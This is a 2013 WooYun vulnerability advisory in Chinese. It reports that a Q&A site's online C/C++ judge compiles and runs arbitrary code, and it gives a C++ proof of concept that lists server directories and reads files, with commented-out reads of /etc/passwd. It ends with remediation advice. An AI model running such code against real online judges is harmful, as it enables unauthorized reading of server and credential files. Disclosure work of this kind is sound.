当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-022745

漏洞标题:一问一答部分功能任意源代码执行

相关厂商:一问一答

漏洞作者: mgOrange

提交时间:2013-04-29 17:36

修复时间:2013-06-14 10:45

公开时间:2013-06-14 10:45

漏洞类型:命令执行

危害等级:高

自评Rank:13

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-29: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-06-14: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

对于大量用户提交内容没有做严格过滤,导致可以执行任意代码。
任意代码啊,之后的事情就不言而喻了。

详细说明:

所有的在线编程部分都存在此漏洞,其他语言不熟没有试,C和C++可以编译执行使用了任意敏感函数的源代码!
http://wenda60.com/programs/view/id-10.html
http://wenda60.com/programs/view/id-541.html
虽然由于权限问题一些敏感操作做不了。
但是文件操作却是可以做的!而且这个账号在很多目录下是享有读写权限的。
可以写shell code提权。我就不做了。

漏洞证明:

厉害的事情我就不做了,下面这段代码查看了一些有意思的文件夹和文件。

#include <iostream>
#include <fstream>
#include <string>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <dirent.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/types.h>
using namespace std;
void show_dir(const string& path){
DIR *pDir ;
struct dirent *ent ;
cout<<"In dir: "<<path<<endl;
pDir=opendir(path.c_str());
while((ent=readdir(pDir))!=NULL){
cout<<int(ent->d_type)<<" : "<<ent->d_name<<endl;
}
}
void show_file(const string& path){
ifstream fin(path.c_str());
cout<<"Reading File: "<<path<<endl;
if(!fin){
cout<<"can not open file."<<endl;
return;
}
char buff[80];
while(fin.getline(buff,80)){
cout<<buff<<endl;
}
cout<<endl;
}
int main()
{
/*doing something*/
// cout<<"Hello World";
cout<<get_current_dir_name()<<endl;
show_dir("/");
show_dir("/Server");
// show_dir("/kworker/inputfile");
// show_dir("/kworker/inputfile/output");
//show_dir("/etc");
// show_file("/kworker/inputfile/input_541.in");
show_file("/kworker/inputfile/output/541.out");
//show_file("/etc/passwd");
}


a.PNG

修复方案:

1,在服务器上按照两个gcc,一个完整的,一个阉割的。完整的用于日常系统软件的编译,在线编程部分只使用阉割的gcc。
阉割版的删除敏感头文件(包括文件操作)。同时在测试脚本里面重新配置环境变量,去除系统文件夹中头文件的INCLUDE路径。
或者执行严格的代码编译前检查,但这样很复杂而且不保险。
对于其他语言类似。
2,在测试服务器上做更严格地权限限制。

版权声明:转载请注明来源 mgOrange@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝